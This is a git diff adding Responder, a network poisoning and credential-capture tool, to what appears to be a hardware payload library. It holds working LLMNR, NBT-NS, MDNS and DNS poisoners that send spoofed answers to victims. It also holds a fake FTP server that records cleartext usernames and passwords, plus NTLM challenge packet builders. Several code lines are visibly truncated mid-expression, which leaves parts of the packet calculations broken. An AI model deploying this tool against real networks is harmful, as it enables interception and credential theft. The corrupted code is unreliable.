Microsoft-IIS/7.5\r\n"), + ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), + ("Connection", "Connection: Keep-Alive\r\n"), + ("Content-Type", "Content-Type: text/html\r\n"), + ("CRLF", "\r\n"), + ]) + +##### FTP Packets ##### +class FTPPacket(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "Welcome"), + ("Terminator", "\x0d\x0a"), + ]) + +##### SQL Packets ##### +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + self.fields["Andxoffset"] = struct.pack(" 255: + self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) + else: + self.fields["Tag3ASNIdLenOfLen"] = "\x81" + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + if len(AsnLen+CalculateSecBlob)-3 > 255: + self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) + else: + self.fields["ChoiceTagASNLenOfLen"] = "\x81" + self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) + + if len(AsnLen+CalculateSecBlob)-7 > 255: + self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) + else: + self.fields["NegTokenTagASNLenOfLen"] = "\x81" + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) + + tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) + + if len(tag2length) > 255: + self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) + else: + self.fields["Tag2ASNIdLenOfLen"] = "\x81" + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) + + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + + ###### Workstation Offset + CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) + + ###### AvPairs Offset + CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) + + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(". +import struct +import fingerprint + +from packets import LLMNR_Ans +from SocketServer import BaseRequestHandler +from utils import * + + +def Parse_LLMNR_Name(data): + NameLen = struct.unpack('>B',data[12])[0] + return data[13:13+NameLen] + + +def IsICMPRedirectPlausible(IP): + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + elif ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + +if settings.Config.AnalyzeMode: + IsICMPRedirectPlausible(settings.Config.Bind_To) + + +class LLMNR(BaseRequestHandler): # LLMNR Server class + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) + else: # Poisoning Mode + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + SavePoisonersToDb({ + 'Poisoner': 'LLMNR', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/payloads/library/tools_installer/tools_to_install/responder/poisoners/MDNS.py b/payloads/library/tools_installer/tools_to_install/responder/poisoners/MDNS.py new file mode 100644 index 0000000..6fdc537 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/poisoners/MDNS.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct + +from SocketServer import BaseRequestHandler +from packets import MDNS_Ans +from utils import * + +def Parse_MDNS_Name(data): + try: + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: + return None + + +def Poisoned_MDNS_Name(data): + data = data[12:] + return data[:len(data)-5] + +class MDNS(BaseRequestHandler): + def handle(self): + MADDR = "224.0.0.251" + MPORT = 5353 + + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + + # Break out if we don't want to respond to this host + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): + return None + + if settings.Config.AnalyzeMode: # Analyze Mode + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '1', + }) + else: # Poisoning Mode + if Parse_IPV6_Addr(data): + + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) + + print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + SavePoisonersToDb({ + 'Poisoner': 'MDNS', + 'SentToIp': self.client_address[0], + 'ForName': Request_Name, + 'AnalyzeMode': '0', + }) diff --git a/payloads/library/tools_installer/tools_to_install/responder/poisoners/NBTNS.py b/payloads/library/tools_installer/tools_to_install/responder/poisoners/NBTNS.py new file mode 100644 index 0000000..d500a80 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/poisoners/NBTNS.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import fingerprint + +from packets import NBT_Ans +from SocketServer import BaseRequestHandler +from utils import * + +# Define what are we answering to. +def Validate_NBT_NS(data): + if settings.Config.AnalyzeMode: + return False + elif NBT_NS_Role(data[43:46]) == "File Server": + return True + elif settings.Config.NBTNSDomain: + if NBT_NS_Role(data[43:46]) == "Domain Controller": + return True + elif settings.Config.Wredirect: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + return True + return False + +# NBT_NS Server class. +class NBTNS(BaseRequestHandler): + + def handle(self): + + data, socket = self.request + Name = Decode_Name(data[13:45]) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x01\x10": + Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) + + if settings.Config.AnalyzeMode: # Analyze Mode + LineHeader = "[Analyze mode: NBT-NS]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '1', + }) + else: # Poisoning Mode + Buffer = NBT_Ans() + Buffer.calculate(data) + socket.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [NBT-NS]" + + print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + + SavePoisonersToDb({ + 'Poisoner': 'NBT-NS', + 'SentToIp': self.client_address[0], + 'ForName': Name, + 'AnalyzeMode': '0', + }) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/payloads/library/tools_installer/tools_to_install/responder/poisoners/__init__.py b/payloads/library/tools_installer/tools_to_install/responder/poisoners/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/Browser.py b/payloads/library/tools_installer/tools_to_install/responder/servers/Browser.py new file mode 100644 index 0000000..0d8a396 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/Browser.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData +from SocketServer import BaseRequestHandler +from utils import * +import struct + + +def WorkstationFingerPrint(data): + return { + "\x04\x00" :"Windows 95", + "\x04\x0A" :"Windows 98", + "\x04\x5A" :"Windows ME", + "\x05\x00" :"Windows 2000", + "\x05\x01" :"Windows XP", + "\x05\x02" :"Windows XP(64-Bit)/Windows 2003", + "\x06\x00" :"Windows Vista/Server 2008", + "\x06\x01" :"Windows 7/Server 2008R2", + "\x06\x02" :"Windows 8/Server 2012", + "\x06\x03" :"Windows 8.1/Server 2012R2", + "\x0A\x00" :"Windows 10/Server 2016", + }.get(data, 'Unknown') + + +def RequestType(data): + return { + "\x01": 'Host Announcement', + "\x02": 'Request Announcement', + "\x08": 'Browser Election', + "\x09": 'Get Backup List Request', + "\x0a": 'Get Backup List Response', + "\x0b": 'Become Backup Browser', + "\x0c": 'Domain/Workgroup Announcement', + "\x0d": 'Master Announcement', + "\x0e": 'Reset Browser State Announcement', + "\x0f": 'Local Master Announcement', + }.get(data, 'Unknown') + + +def PrintServerName(data, entries): + if entries <= 0: + return None + entrieslen = 26 * entries + chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries + ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)] + + l = [] + for x in ServerName: + fingerprint = WorkstationFingerPrint(x[16:18]) + name = x[:16].replace('\x00', '') + l.append('%s (%s)' % (name, fingerprint)) + return l + + +def ParsePacket(Payload): + PayloadOffset = struct.unpack('i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Session Setup AndX Request, Anonymous. + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",mid="\x02\x00") + Body = SMBSessionData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Tree Connect IPC$. + if data[8:10] == "\x73\x00": + Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00") + Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(1024) + + # Rap ServerEnum. + if data[8:10] == "\x75\x00": + Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00") + Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + + s.send(Buffer) + data = s.recv(64736) + + # Rap ServerEnum, Get answer and return what we're looking for. + if data[8:10] == "\x25\x00": + s.close() + return ParsePacket(data) + except: + pass + +def BecomeBackup(data,Client): + try: + DataOffset = struct.unpack('. +from packets import DNS_Ans +from SocketServer import BaseRequestHandler +from utils import * + +def ParseDNSType(data): + QueryTypeClass = data[len(data)-4:] + + # If Type A, Class IN, then answer. + return QueryTypeClass == "\x00\x01\x00\x01" + + + +class DNS(BaseRequestHandler): + def handle(self): + # Break out if we don't want to respond to this host + if RespondToThisIP(self.client_address[0]) is not True: + return None + + try: + data, soc = self.request + + if ParseDNSType(data) and settings.Config.AnalyzeMode == False: + buff = DNS_Ans() + buff.calculate(data) + soc.sendto(str(buff), self.client_address) + + ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + + except Exception: + pass + +# DNS Server TCP Class +class DNSTCP(BaseRequestHandler): + def handle(self): + # Break out if we don't want to respond to this host + if RespondToThisIP(self.client_address[0]) is not True: + return None + + try: + data = self.request.recv(1024) + + if ParseDNSType(data) and settings.Config.AnalyzeMode is False: + buff = DNS_Ans() + buff.calculate(data) + self.request.send(str(buff)) + + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) + + except Exception: + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/FTP.py b/payloads/library/tools_installer/tools_to_install/responder/servers/FTP.py new file mode 100644 index 0000000..d2f50a2 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/FTP.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from utils import * +from SocketServer import BaseRequestHandler +from packets import FTPPacket + +class FTP(BaseRequestHandler): + def handle(self): + try: + self.request.send(str(FTPPacket())) + data = self.request.recv(1024) + + if data[0:4] == "USER": + User = data[5:].strip() + + Packet = FTPPacket(Code="331",Message="User name okay, need password.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + if data[0:4] == "PASS": + Pass = data[5:].strip() + + Packet = FTPPacket(Code="530",Message="User not logged in.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + SaveToDb({ + 'module': 'FTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User + ':' + Pass + }) + + else: + Packet = FTPPacket(Code="502",Message="Command not implemented.") + self.request.send(str(Packet)) + data = self.request.recv(1024) + + except Exception: + pass diff --git a/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP.py b/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP.py new file mode 100644 index 0000000..c78c8c3 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/responder/servers/HTTP.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode +from utils import * + +from packets import NTLM_Challenge +from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, 